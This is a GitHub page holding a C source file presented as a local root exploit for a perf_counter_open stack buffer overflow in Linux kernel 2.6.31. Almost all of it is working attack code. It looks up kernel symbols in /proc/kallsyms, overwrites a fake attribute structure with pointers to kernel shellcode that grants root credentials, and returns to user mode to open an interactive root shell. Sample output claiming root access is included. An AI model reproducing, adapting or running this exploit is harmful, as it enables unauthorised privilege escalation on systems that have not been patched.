-
Notifications
You must be signed in to change notification settings - Fork 51
Expand file tree
/
Copy pathperf_stack.c
More file actions
185 lines (153 loc) · 5.56 KB
/
perf_stack.c
File metadata and controls
185 lines (153 loc) · 5.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
/*
* Linux kernel 2.6.31 perf_counter_open stack buffer overflow exploit.
*
* by wzt http://www.cloud-sec.org
*
* arch: x86_64
*
* [wzt@localhost perf]$ ./perf_exp
* [+] looking for symbols...
* [+] found commit_creds addr at 0x810555b5.
* [+] found commit_creds addr: 0xffffffff810555b5
* [+] found prepare_kernel_cred addr at 0x8105579b.
* [+] found prepare_kernel_cred addr: 0xffffffff8105579b
* [+] alloc fake_attr ok.
* [+] start addr: 0x702050, end adr: 0x702130
* [+] We are root!
* sh-3.2#
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#define __NR_perf_counter_open 298
#define PERF_ATTR_SIZE_VER0 64
#define PAGE_SIZE 0x120
#define __ALIGN_MASK(x,mask) (((x)+(mask))&~(mask))
#define ALIGN(x,a) __ALIGN_MASK(x,(typeof(x))(a)-1)
#define PTR_ALIGN(p, a) ((typeof(p))ALIGN((unsigned long)(p), (a)))
#define KALLSYMS_NAME "/proc/kallsyms"
#define USER_CS 0x33
#define USER_SS 0x2b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x))
static unsigned int uid, gid;
typedef int __attribute__((regparm(1)))(* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(1)))(* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
void exit_user_code(void);
char user_stack[1024 * 1024];
struct perf_counter_attr {
int tmp;
int size;
};
static inline __attribute__((always_inline)) void *exit_kernel(void)
{
__asm__ __volatile__ (
"movq %0, 0x20(%%rsp)\n\t"
"movq %1, 0x18(%%rsp)\n\t"
"movq %2, 0x10(%%rsp)\n\t"
"movq %3, 0x08(%%rsp)\n\t"
"movq %4, 0x00(%%rsp)\n\t"
"swapgs\n\t"
"iretq"
::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code)
);
}
void kernel_shellcode(void)
{
commit_creds(prepare_kernel_cred(0));
exit_kernel();
}
void exit_user_code(void)
{
if (getuid() != 0) {
printf("[-] exploit failed.\n");
exit(-1);
}
printf("[+] We are root!\n");
execl("/bin/sh", "sh", "-i", NULL);
}
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200];
char *p = NULL, *p1 = NULL;
unsigned long addr = 0;
s_fp = fopen(file_name, "r");
if (s_fp == NULL) {
printf("open %s failed.\n", file_name);
return 0;
}
while (fgets(buff, 200, s_fp) != NULL) {
if (strstr(buff, symbol_name) != NULL) {
buff[strlen(buff) - 1] = '\0';
p = strchr(strchr(buff, ' ') + 1, ' ');
++p;
if (!p)
return 0;
if (!strcmp(p, symbol_name)) {
p1 = strchr(buff, ' ');
*p1 = '\0';
sscanf(buff, "%lx", &addr);
printf("[+] found %s addr at 0x%x.\n", symbol_name, addr);
break;
}
}
}
fclose(s_fp);
return addr;
}
void perf_exp(void)
{
struct perf_counter_attr *fake_attr;
unsigned long *addr, *end;
unsigned long idx = 0;
fake_attr = (struct perf_counter_attr *)malloc(PAGE_SIZE);
if (!fake_attr) {
printf("[-] alloc fake_attr failed.\n");
return ;
}
printf("[+] alloc fake_attr ok.\n");
memset((void *)fake_attr, '\0', PAGE_SIZE);
fake_attr->tmp = 0;
fake_attr->size = 0x120;
addr = PTR_ALIGN((void *)fake_attr + 0x40, sizeof(unsigned long));
end = PTR_ALIGN((void *)fake_attr + PAGE_SIZE, sizeof(unsigned long));
printf("[+] start addr: 0x%lx, end adr: 0x%lx\n", addr, end);
for (; addr < end; idx += 8, addr +=1 ) {
if (idx % 64 == 0)
continue;
*addr = (unsigned long)kernel_shellcode;
}
syscall(__NR_perf_counter_open, fake_attr, getpid(), 0, 0, 0);
}
int perf_init(void)
{
uid = getuid();
gid = getgid();
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds)find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
if (!commit_creds) {
printf("[-] not found commit_creds addr.\n");
return -1;
}
printf("[+] found commit_creds addr: %p\n", commit_creds);
prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
"prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] not found prepare_kernel_cred addr.\n");
return -1;
}
printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
}
int main(void)
{
if (perf_init() == -1)
return -1;
perf_exp();
return 0;
}